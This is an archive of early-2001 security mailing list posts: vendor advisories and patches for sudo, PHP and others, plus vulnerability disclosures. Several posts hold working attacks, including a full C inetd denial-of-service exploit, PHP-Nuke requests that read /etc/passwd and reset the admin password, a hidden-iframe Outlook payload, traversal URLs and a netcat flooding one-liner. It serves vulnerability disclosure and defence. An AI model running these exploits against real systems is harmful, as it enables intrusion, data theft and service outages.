Re: Lotus Notes Stored Form Vulnerability
Technote # 184674 QA: BugTraq "Lotus Notes Stored Form Vulnerability" http://support.lotus.com/sims2.nsf/eb5fbc0ab175cf0885256560005206cf/89e023ae7ee59e5d852569f90059fd5e?OpenDocument * Title: QA: BugTraq "Lotus Notes Stored Form Vulnerability" * Product Area: Notes * Product Release: Notes Client 5.x, Notes Client 4.6x * Topic: Workstation/Desktop \\ Notes Client Functionality \\ Security \\ ECL Document #:184674 Last Update: 02/23/2001 BODY: What methods are available to protect against potential attacks using a Stored Form in a mail message? 1. Disable the Stored Form setting for all mail files. OR 2. Use Execution Control Lists (ECLs) to define trusted signers of executable content and assign appropriate levels of access. When were these features introduced? The Database Property for "Allow use of stored forms in this database" was introduced in Notes R4.1. The Execution Control List (ECL) feature was introduced in Notes R4.5. What is a "Stored Form" and how is it used? When designing a form, a form property can be enabled that will store the form design with the document. The most common usage of this feature is when a document will be mailed and the form does not exist in the users mail files. By storing the form with the document, additional functionality can be added. For more information on Forms and Documents, please see the Help document included below. How can the use of a Stored Form be detected for a particular mail message? The existence of a $Title field on the document indicates that the form is stored with the document. The $Title field will contain the name of the form. How can Stored Forms be disabled? This setting is configured in Database Properties. To disable it, uncheck the box on the Basics tab for "Allow use of stored forms in this database". Who has access to change this setting for a database? Manager access in the ACL is required to change database properties. How can administrators disable this setting for all user's mail files? Disable the setting on the mail template(s) used in your environment and run the Design task (load design from the server console, or as a scheduled task). When new mail files are created from the template, this setting will be disabled. In addition, when the design task runs (by default, this occurs nightly at 2 am), all databases that inherit from the updated templates will now have this setting disabled. This technique assumes that mail files inherit their design from a specified template(s), which is the default behavior. If Stored Forms are not enabled for a database, what will happen when the user opens a mail message containing a stored form? The user will be prompted with a dialog box with the following message; "This document cannot be displayed in its original format because it contains a stored form. This database does not allow use of stored forms. Notes will attempt to open the document using a different format." The default form for the database will be used to display the document instead. Any code associated with the form will not be executed, and some field values may not be able to be read using the default form (i.e. the "Memo" form in mail databases). Where is the Execution Control List (ECL) stored and configured? The ECL is stored for each user in their desktop.dsk/desktop5.dsk file. Users can access their ECL from File\Preferences\User Preferences\Security Options. Administrators can configure domain wide settings in the Public Address Book/Domino Directory by selecting Actions\Edit Administration ECL. Workstation ECLs are inherited from the Administration ECL during workstation setup. In R5.0.5 or higher, these settings can be refreshed from the Administration ECL by clicking the "Refresh" button on the Workstation Security Options dialog. The use of the @RefreshECL command can also be used in formulas to update a user's settings. How do ECLs protect workstations? ECLs rely on the use of digital signatures. When a design element is created and saved, it is signed with the user's private key from their ID file. When executable code is activated, Notes checks the signature and verifies what level of access the signer is allowed for that user's workstation. Notes relies on the use of certificates to verify these digital signatures. If a signer can be verified and is listed in the ECL, the rights
Re: Microsoft Security Bulletin MS01-012
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I think it's worth noting that CVE#CAN-2000-0756 (a problem I reported to both Bugtraq and Microsoft in August 2000) is a duplicate of this particular bug, but also includes extra details about vCard infotypes. It's worth noting that the field exploited by @stake is the BDAY: field, and the EMAIL: field is also potentially vulnerable. Several other fields, including: - - name: - - nickname: - - fn: - - title: - - title;language=de;value=text: - - tel: - - tel;label: - - tel;label,label: can also be used to drive OUTLOOK.EXE to utilize nearly all of the CPU when given input beyond allocated buffer space. I don't have the slightest idea why it took this long for the issue to come to a patch resolution by Microsoft, other than to say their ideas about disclosure don't necessarily match mine. And that's to say nothing about @stake not crediting me... but that's water under the bridge, now isn't it? : Joel Moses, CISSP Nashville, TN -BEGIN PGP SIGNATURE- Version: PGP Personal Privacy 6.5.1 iQA/AwUBOpbWbWqHKmLSRN7cEQLVRACfbjLKgLLFOaUMU0X5X2Y2y282LGMAoJMR u4AA55iK70YNwOcxzrJgyo1S =xEIj -END PGP SIGNATURE-
Re: [TL-Security-Announce] Sendmail-8.11.2-5 TLSA2001003-1
On Thu, Feb 22, 2001 at 02:09:35PM -0800, [EMAIL PROTECTED] wrote: Sendmail, launched with the -bt command-line switch, enters its special "address test" mode. Under these conditions, it is vulnerable to a segmentation fault which can occur when trying to set a class in ad- dress test mode due to a negative array index. 2. Impact A user can gain root privileges. This was proven to be wrong - this bug is not believed to have any security impact. Kris PGP signature
Apparent lack of security on IBM Host on Demand
A major healthcare organization asked my employer's tech support staff to start using an IBM Host on Demand server to access their hospital's critical systems to provide support. While using Ethereal to watch one of our tech support people use this service, I made a few disturbing observations: 1) Everything happens in the clear, starting with standard HTTP to authenticate to the web server and download the java applet that acts as the terminal emulator front-end for the user. The user's conversation with the target server of interest also happens in the clear, including the user's login name and password. 2) Outside of using HTTP to serve up the java client, the Host on Demand server seems to just act as a port forwarder. You wind up with the java terminal emulator establishing a TCP connection to an obscure port on the HoD server, which then simply forwards the connection to the target machine. 3) After the authorized HoD user establishes the TCP connection to the HoD server, the HoD server continues to listen for additional connections on that same obscure port. It dutifully forwards those additional connections to the target server. 4) The HoD server doesn't seem to care where the TCP connections come from. Assuming the HoD server is at 12.34.56.78 and the obscure port is 1234, I tried the following from a completely unrelated client machine elsewhere on the Internet: "telnet 12.34.56.78 1234" Not only did I connect, but I also immediately got the target machine's banner and login prompt. I'm not sure whether to call this a set of bugs or a serious design flaw. I don't see anything in the Bugtraq archives with the string "host on demand." Has anyone else had experience with this product who can shed light on whether this is just really poor configuration or a real brain-dead product when it comes to security? Jeremy Charles [EMAIL PROTECTED]
[CLA-2001:381] Conectiva Linux Security Announcement - sudo
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- CONECTIVA LINUX SECURITY ANNOUNCEMENT - -- PACKAGE : sudo SUMMARY : Local buffer overflow DATE : 2001-02-26 13:22:00 ID: CLA-2001:381 RELEVANT RELEASES : 4.0, 4.0es, 4.1, 4.2, 5.0, prg gráficos, ecommerce, 5.1, 6.0 - - DESCRIPTION "sudo" is a program used to delegate superuser privileges to ordinary users and only for specific commands. There is a buffer overflow vulnerability in sudo which could be used by an attacker to obtain higher privileges. SOLUTION All sudo users should upgrade the package. The problem was reported in sudo's bugzilla by [EMAIL PROTECTED] and the author, Todd C. Miller, released an updated version. DIRECT DOWNLOAD LINKS TO THE UPDATED PACKAGES ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0es/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/6.0/RPMS/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/sudo-1.6.3p6-1cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/sudo-1.6.3p6-1cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/sudo-doc-1.6.3p6-1cl.i386.rpm ADDITIONAL INSTRUCTIONS Users of Conectiva Linux version 6.0 or higher may use apt to perform upgrades of RPM packages: - add the following line to /etc/apt/sources.list if it is not there yet (you may also use linuxconf to do this): rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates (replace 6.0 with the correct version number if you are not running CL6.0) - run: apt-get update - after that, execute: apt-get upgrade Detailed instructions reagarding the use of apt and upgrade examples can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en - - All packages are signed with Conectiva's GPG key. The key and instructions on how to import it can be found at http://distro.conectiva.com.br/seguranca/chave/?idioma=en Instructions on how to check the signatures of the RPM packages can be found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en - - All our advisories and generic update instructions can be viewed at http://distro.conectiva.com.br/atualizacoes/?idioma=en - - subscribe: [EMAIL PROTECTED] unsubscribe: [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6moLr42jd0JmAcZARAhuiAKCrdHgkz1fwbdCzWAkEKHdArPq2rACfbjh9 2RgFXdUfUWLlZ3inkkl3ZO4= =GEu7 -END PGP SIGNATURE-
inetd DoS exploit
Name: inetd DoS exploit
Author: Serega[Linux]
[ser@ihg prog]$ ./pscaner -h 127.0.0.1 /* it's my port scaner */
Open ports on [127.0.0.1]
-
[21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK
2001) ready.
[23] OPEN :
[25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25 Feb 2001 18:58:36
+0300
-
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
[ser@ihg prog]$ cc inetddos.c -o inetddos
[ser@ihg prog]$ ./inetddos 127.0.0.1 21
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:
[ser@ihg prog]$ ./inetddos 127.0.0.1 23
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
--
/*
* mailto:[EMAIL PROTECTED]
* ICQ: 64432299
* Home Page: http://127.0.0.1
*/
/*
--
Inetd DoS exploit bY Serega[Linux]
IHG Project www.ihgroup.ru
mailto:[EMAIL PROTECTED]
--
Usage: ./inetddos host port
example:
[ser@ihg prog]$ ./pscaner -h 127.0.0.1
-
Open ports on [127.0.0.1]
[21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
[23] OPEN :
[25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25 Feb 2001 18:58:36 +0300
-
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44 MSK 2001) ready.
[ser@ihg prog]$ cc inetddos.c -o inetddos
[ser@ihg prog]$ ./inetddos 127.0.0.1 21
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:
[ser@ihg prog]$ ./inetddos 127.0.0.1 23
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
*/
#include netdb.h
#include netinet/in.h
#include sys/socket.h
#include sys/types.h
#include time.h
#include signal.h
void time_out(int sig);
int timeout=5;
char logo[512];
int sockfd;
DoS (char *host, int port)
{
unsigned long int ip_addr;
struct sockaddr_in serv;
struct hostent *h;
unsigned long int rv;
serv.sin_family = AF_INET;
if ((h=gethostbyname(host)) == NULL)
{
close(sockfd);
perror(host);
exit(1);
}
if(h!=NULL)
memcpy(rv,h-h_addr,h-h_length);
else
rv=inet_addr(host);
serv.sin_addr.s_addr = rv;
serv.sin_port = htons(port);
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket error");
exit(1);
}
alarm(timeout);
signal(SIGALRM, (void *)time_out);
if (connect (sockfd, (struct sockaddr*)serv, sizeof(serv)) != 0)
{
close(sockfd);
perror(host);
exit(1);
}
alarm(0);
close(sockfd);
return(1);
}
void time_out (int sig)
{
close(sockfd);
printf("timeout\n");
exit(-1);
}
usage(char *h)
{
printf("--\nInetd DoS exploit bY Serega[Linux]
IHG Project www.ihgroup.ru
mailto:[EMAIL PROTECTED]\n--\n");
printf("\nUsage: %s host port\n\n", h);
exit(1);
}
main(int argc, char **argv)
{
int i;
if (argc3) usage(argv[0]);
for (i=1; i1000; i++)
DoS(argv[1], atoi(argv[2]));
printf("DoS failed\n");
}
Yet another hole in PHP-Nuke
Hi,
This is yet another security flaw in PHP-Nuke, greatly inpired by RFP
post do bugtraq (http://www.securityfocus.com/archive/1/162703).
Tested on:
PHP-Nuke v.4.4 (latest version, step-by-step install)
PHP Version 4.0.4pl1
Impact: Any user can gain administrator previleges. Every file that the
webserver has access to, can be read by anyone. Any user can execute
arbitrary
commands
with the previleges of the web server.
Fix: version 4.4.1 has been released, for a quick fix see below
Facts:
PHP in some functions, like for example fopen(), include(), require(),
ignores everything after a NULL if one is present.
snip php.ini
magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data
/snip
Example:
? echo $string?
test.php?string=tes%00t
output:tes\0t
now, with magic_quotes_gpc turned Off.
output:test
The same two tests aplied to an include($string)
magic_quotes_gpc On, output: Warning: Failed opening 'tes\0t' for
inclusion
magic_quotes_gpc Off, output: Warning: Failed opening 'tes' for
inclusion
So, everything after the NULL was ignored.
Of course, one that who uses magic_quotes_gpc turned on isn't expecting this
kind of behaviour.
The problem here, as RFP noted in his post to bugtraq, is that PHP-Nuke
uses base64_encode() to encode it's cookies, and the user information.
In this vars there is a interesting one, the theme configuration ( also
pointed out by RFP ). The same thing that makes phpnuke not escape the '
, also makes it not escape the NULL. So, here's an example:
snip of bb_smilies.php (Note: 'bbcode_ref.php' has the same problem)
if ($user) {
$user = base64_decode($user);
$userdata = explode(":", $user);
}
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
include ("$themes");
/snip
Here's a simple way to get /etc/passwd:
quote
jroberto@spike:~ /bin/echo -e
"1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\000" |uuencode -m f
begin-base64 644 f
MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
jroberto@spike:~ wget
'http://target/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vL
i4vZXRjL3Bhc3N3ZAAK'
-O target.passwd
jroberto@spike:~ head -n1 target.passwd
root:x:0:0:root:/root:/bin/bash
/quote
And, with a litle imagination, here's another way to change the default
administrator (God) password:
quote
jroberto@spike:~ /bin/echo -e
"1:1:1:1:1:1:1:1:1:../admin/authors.php\000"lixo
jroberto@spike:~ uuencode -m lixo lixo2
begin-base64 644 lixo2
MToxOjE6MToxOjE6MToxOjE6Li4vYWRtaW4vYXV0aG9ycy5waHAACg==
jroberto@spike:~ wget
'http://target/bb_smilies.php/admin.php?user=1ToxOjE6MToxOjE6MToxOjE6Li4vYWR
taW4vYXV0aG9ycy5waHAACg==op=UpdateAuthorchng_aid=Godchng_pwd=newpasschng
_name=Godchng_email=qweqwe@asdasdchng_pwd2=newpass'
-O test
/quote
And here's a simple way to execute arbitrary code on the server ( given that
it's not running in safe_mode and filemanager is working).
After geting administration previleges, go to the admin area and give "God"
superuser privs ( if it isn't enabled ).
Switch to the File Manager area, edit/create/rename your choosen file and
insert your php code there.
Fix:
Both in bb_smilies.php and bbcode_ref.php change:
quote
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
/quote
To:
quote
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
if ( !(strstr(basename($themes),"theme.php")) || !(file_exists($themes)) ){
echo "Invalid Theme"; exit;}
include ("$themes");
/quote
Best regards,
Joao Gouveia
[EMAIL PROTECTED]
Trustix Security Advisory - sudo
Hi Trustix today released an updated version of the sudo package fixing a buffer overflow, as announced by the sudo maintainer Todd C. Miller. Trustix specific: no MD5sums: 1.2: cc969c9746bea3ff01470c1eaf3ee415 sudo-1.6.3p6-1tr.i586.rpm 1.1: 94ae7e6f7cae6ba70b8388b86330e0b3 sudo-1.6.3p6-1tr.i586.rpm Get these updates at: ftp://ftp.trustix.net/pub/Trustix/updates/ http://www.trustix.net/pub/Trustix/updates/ Version 1.0 of Trustix Secure Linux did not ship with sudo. Get these updates at: ftp://ftp.trustix.net/pub/Trustix/updates/ http://www.trustix.net/pub/Trustix/updates/ People who have downloaded SWUP from our ftp site, can enjoy having the security updates automatically installed using 'swup --upgrade'. Get SWUP from: ftp://ftp.trustix.com/pub/Trustix/software/swup/ Questions? Check out our mailinglists: http://www.trustix.net/support/ Trustix Security Team
My Getright Unsupervised File Download Vulnerability
Strumpf Noir Society Advisories ! Public release ! --# -= My Getright Unsupervised File Download Vulnerability =- Release date: Monday, February 26, 2001 Introduction: My GetRight is a free, easy to use member of the Getright download manager software family for MS Windows. It uses the same method of "click monitoring" to take over the downloads from your web browser as the other versions of Getright, but offers much more control and customization for web sites providing files for downloading. My Getright is available from vendor Headlight Software's website: http://www.mygetright.com Problem: My Getright features an option to customize its look while downloading. Remote websites can even send the program skins to use during the session. There exists a problem in the handling of these skin files that might allow for a malicious website operator to stealthy upload files to anywhere on a user's system and even overwrite existing ones. A customized look during a download can easily be created through the use of a .dld file, which holds the skin-data and which should be placed in the same directory as the files that are to be downloaded. This file uses a Windows .INI format with simple fields containing information about graphics locations, download descriptions etc. By filling these fields with long strings of random data the client-skin will be incorrectly parsed, which will cause the GUI to die permanently while the program itself keeps on downloading. Another effect of this is that the client will no longer display informative messages of any kind. If from this point on a file which is queued already exists on a user's harddrive, the latter will be overwritten without question. This vulnerability is made worse by the possibility to trick the client into a directory traversal through the filepath-field of mentioned customization file. Through utilization of a simple "../" a malicious website operator can trick the client into (over)writing to any path on the user's system. Example: For this example we've configured the My Getright client to download all files to C:\Downloads and have we created a file test.zip in C:\ First we do a regular download, this will kill the client GUI, yet it will download the file test.zip to the designated download directory (C:\Downloads): http://www.mygetright.com/cgi-bin/makedld.cgi?url=http%3A%2F%2Fwww.jianteq.net%2Fsns%2Ftest%2Ftest.zipskinurl=http%3A%2F%2Fwww.jianteq.net%2Fsns%2Ftest%2Fdefault.dldfiledesc=test Now the client uses our "skin", no messages will be displayed while we use below url to overwrite the file in C:\ : http://www.mygetright.com/cgi-bin/makedld.cgi?url=http%3A%2F%2Fwww.jianteq.net%2Fsns%2Ftest%2Ftest.zipskinurl=http%3A%2F%2Fwww.jianteq.net%2Fsns%2Ftest%2Fdefault.dldfiledesc=testfilepath=..%2F (..) Solution: Vendor was notified and has verified the problem. A new version (v 1.0b) has been released which fixes both the directory traversal and transparant skin problem. yadayadayada Free sk8! (http://www.freesk8.org) SNS Research is rfpolicy (http://www.wiretrip.net/rfp/policy.html) compliant, all information is provided on AS IS basis. EOF, but Strumpf Noir Society will return!
APC web/snmp/telnet management card dos
[EMAIL PROTECTED] APC web/snmp management card Some APC products such as the symetra offer the option of adding a management card to allow an admin the ablilty to setup monitoring and notification. The card is accessable by snmp, web interface, and telnet. Itseems that only one telnet connection is allowed at a time.(problem 1). The telnet sesssion is authenticated by a user/password method, if the incorrect combination is entered 3 times no connections are allowed for the defined lockout time. Min. 1 minute, max 10 minutes. (problem 2) Problem 1- Since only one connection is allowed to the telnet port an admin could be kept from connecting. Easy to reproduce. Problem 2- Lock out period. Lock out periods are a good thing, I really do like them. But when no one can connect its a bad thing. Since the lockout period can not be set to 0 an attacker could take advantage of this by sending 3 incorrect login attempts to the unit and repeat every 60 secs using the minimal lockout time. Even if the admin has lockout set to 10 minutes it will keep repeating and work when it actually is enabled again. both of these are easy to reproduce. problem 1 - cat /dev/zero | nc ip-here 23 (ya ya dirty) problem 2 - attempt login 3 times, or run script attached. -Contacting APC - Contacted APC via email and informed they of what had been found and asked if this was going to be addressed in the future. The response received back was: "At this time the security on the web card is at its highest level. The only other suggestion is to make changes on the firewall." Well, not really what I wanted to hear but hey why not. I responded inorder to try one more time and received the same respone back. [EMAIL PROTECTED]
Re: Microsoft Security Bulletin MS01-012
Dear Sir,
Mitigating Factors:
- There is no means by which a Vcard could be made to open
automatically.
This is not entirely accurate. If you are in the habit of collecting these
odd things, you will have most certainly uncheck-marked the security warning
a long time ago. In that case it is less than trivial to open the Vcard
automatically:
img id="Bill_Gates" SRC="cid:malware.com" style="VISIBILITY: hidden"
IFRAME id=Compelling style="VISIBILITY: hidden"
/IFRAME
SCRIPT language=vbs
document.all.item("Compelling").document.location=Bill_Gates.src
/SCRIPT
Working example:
http://www.malware.com/crap.eml
Yours Sincerely,
Your friend and mine,
http://www.malware.com
--
___
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/
Re: Sudo version 1.6.3p6 now available (fwd)
Hi, I was rather surprised that Mr. Miller released this without crediting me for discovering the bug (even though it was pretty trivial =). Basically there is a command-line overflow in Sudo. Long parameters will cause sudo to crash after writing a log message. E.g.: bash-2.04$ sudo /bin/true `perl -e 'print "A"x1'` Password: Sorry, try again. Password: sudo: 1 incorrect password attempt Segmentation fault bash-2.04$ sudo /bin/true `perl -e 'print "A"x1'` chris is not in the sudoers file. This incident will be reported. Segmentation fault bash-2.04$ sudo -V Sudo version 1.6.3 bash-2.04$ cat /etc/issue Red Hat Linux release 7.0 (Guinness) Kernel 2.2.16-22 on an i686 bash-2.04$ rpm -q sudo sudo-1.6.3-4 I don't think this is easily exploitable, because the EIP register isn't overwritten, but at least the stack is damaged. For more details, please see my bug report: http://www.courtesan.com/bugzilla/show_bug.cgi?id=27 The solution is, of course, to upgrade to version 1.6.3p6. Ciao, Chris. ___ __ _ / __// / ,__(_)_ | Chris Wilson [EMAIL PROTECTED] | Phone: 01223 503 190 | / (_ / ,\/ _/ /_ \ | Tech Director - Caliday Project | RITC (Cambridge) Ltd | \ _//_/_/_//_/___/ | Unix Systems Network Engineer | Cambridge CB5 8LA UK | On Fri, 23 Feb 2001, Gossi The Dog wrote: FYI... -- Forwarded message -- Date: Thu, 22 Feb 2001 08:52:56 -0700 From: Todd C. Miller [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Sudo version 1.6.3p6 now available Sudo version 1.6.3p6 is now available (ftp sites listed at the end). This fixes a *buffer overflow* in sudo which is a potential security problem. I don't know of any exploits that currently exist but I suggest that you upgrade none the less. Sudo has a good track record wrt secure coding, but this one slipped by me. - todd snip
The Simple Server HTTPd Directory Traversal
Introduction: The Simple Server is a User-Friendly Web Server that handles HTTP requests. It is Windows based and extremely convenient to configure and is coded in Java. It requires the Java Runtime Environment package in order for the program to be able to execute. Please note this program isn't the same as AnalogX's "Simple Server". This program was originally called Free Java Server but has sense been changed to "The Simple Server". The Vendors website is: http://dattaraj_rao.tripod.com/Java/ Download Package at: http://dattaraj_rao.tripod.com/Java/MyServer.zip Problem: Simple Directory Traversal Adding the string "/../" to an URL allows an attacker to view any file on the server provided you know where the file is at in the first place. Examples: http://www.VULNERABLE.com/../../../../Scandisk.log ^^ = Will obviously open the Scandisk.log file. Note: The ../'s depend on where the httpd is installed and what file you are attempting to view. Solution: Vendor has been contacted. Waiting for a reply. b10z HTTPd advisory. [EMAIL PROTECTED] February 23rd, 2001.
Re: [TL-Security-Announce] Sendmail-8.11.2-5 TLSA2001003-1
On Thu, Feb 22, 2001, [EMAIL PROTECTED] wrote: I've sent yesterday an e-mail to [EMAIL PROTECTED] but got no reply up to now. So I'll try it here. Vulnerable Packages: All versions previous to 8.11.2-5 Date: 02/21/2001 5:00 PDT TurboLinux Advisory ID#: TLSA2001003-1 2. Impact A user can gain root privileges. Does TurboLinux have any proof for this claim or is it just a guess? If the former: why has [EMAIL PROTECTED] not been contacted? If the latter: why isn't this explicitly stated here? BTW: Another advisory (TLSA213-1) from TurboLinux also made a wrong claim about sendmail. It would be nice to be more careful. PS: The segfault problem has been fixed in 8.11.2 as the RELEASES_NOTES clearly say. PGP signature
Immunix OS 6.2 Security updates for php, dump, and lpr
--- Immunix OS Security Advisory Packages updated: php, dump, lpr Affected products: Immunix OS 6.2 Bugs Fixed: immunix/1327 Date: February 26, 2001 Advisory ID:IMNX-2001-62-002-01 Author: Greg Kroah-Hartman [EMAIL PROTECTED] --- Description: WireX was recently notified that three packages had not been updated for which there had been security updates for in the past. We regret this error, and thank Mario Lorenz for notifying us of this. The dump package shipped with Immunix OS 6.2 had setuid bits set on it. Also a buffer overflow was found in dump, but was stopped by StackGuard. A new package has been released. The lpr package shipped with Immunix OS 6.2 had a format string security bug, a potential race condition, and a few LPRng compatibility issues. A new package has been released fixing these problems. The php3 package shipped with Immunix OS 6.2 had a number of logic bugs, which this 3.0.18 release should solve. Package names and locations: Precompiled binary packages for Immunix 6.2 are available at: http://immunix.org/ImmunixOS/6.2/updates/RPMS/dump-0.4b19-5.6x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/dump-static-0.4b19-5.6x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/rmt-0.4b19-5.6x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/lpr-0.50-7.6.x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/php-3.0.18-1.6.x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/php-imap-3.0.18-1.6.x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/php-ldap-3.0.18-1.6.x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/php-manual-3.0.18-1.6.x_StackGuard.i386.rpm http://immunix.org/ImmunixOS/6.2/updates/RPMS/php-pgsql-3.0.18-1.6.x_StackGuard.i386.rpm Source packages for Immunix 6.2 are available at: http://immunix.org/ImmunixOS/6.2/updates/SRPMS/dump-0.4b19-5.6x_StackGuard.src.rpm http://immunix.org/ImmunixOS/6.2/updates/SRPMS/lpr-0.50-7.6.x_StackGuard.src.rpm http://immunix.org/ImmunixOS/6.2/updates/SRPMS/php-3.0.18-1.6.x_StackGuard.src.rpm md5sums of the packages: 910d99fedbdc98920c9eac3009e4b701 RPMS/dump-0.4b19-5.6x_StackGuard.i386.rpm e16624080196103d0f12708548ad8ff4 RPMS/dump-static-0.4b19-5.6x_StackGuard.i386.rpm 84679604e26208e702d7ab6679e6204d RPMS/rmt-0.4b19-5.6x_StackGuard.i386.rpm 2a629d1d5c8d796acc1a69288f702bc0 RPMS/lpr-0.50-7.6.x_StackGuard.i386.rpm 2e44623464733c91091100e2a61c6c5e RPMS/php-3.0.18-1.6.x_StackGuard.i386.rpm c7eeffb9782db48201978991ac893155 RPMS/php-imap-3.0.18-1.6.x_StackGuard.i386.rpm cb6682aab19a64b0f325c8c5ad753f1c RPMS/php-ldap-3.0.18-1.6.x_StackGuard.i386.rpm 92e2469b2a53eed5170e9afaf514ce1f RPMS/php-manual-3.0.18-1.6.x_StackGuard.i386.rpm cd7f34a91b0452514b5af50d3401ed3b RPMS/php-pgsql-3.0.18-1.6.x_StackGuard.i386.rpm 5d3e250426e15e5648aec947a16883b2 SRPMS/dump-0.4b19-5.6x_StackGuard.src.rpm ae7431f8a6677a682e1b0fc52a08ccb1 SRPMS/lpr-0.50-7.6.x_StackGuard.src.rpm ea4b490547db00905866c07e331dd6ff SRPMS/php-3.0.18-1.6.x_StackGuard.src.rpm Online version of all Immunix 6.2 updates and advisories: http://immunix.org/ImmunixOS/6.2/updates/ NOTE: Ibiblio is graciously mirroring our updates, so if the links above are slow, please try: ftp://ftp.ibiblio.org/pub/Linux/distributions/immunix/ or one of the many mirrors available at: http://www.ibiblio.org/pub/Linux/MIRRORS.html PGP signature
Re: [Fwd: FirstClass Internetgateway stupidity]
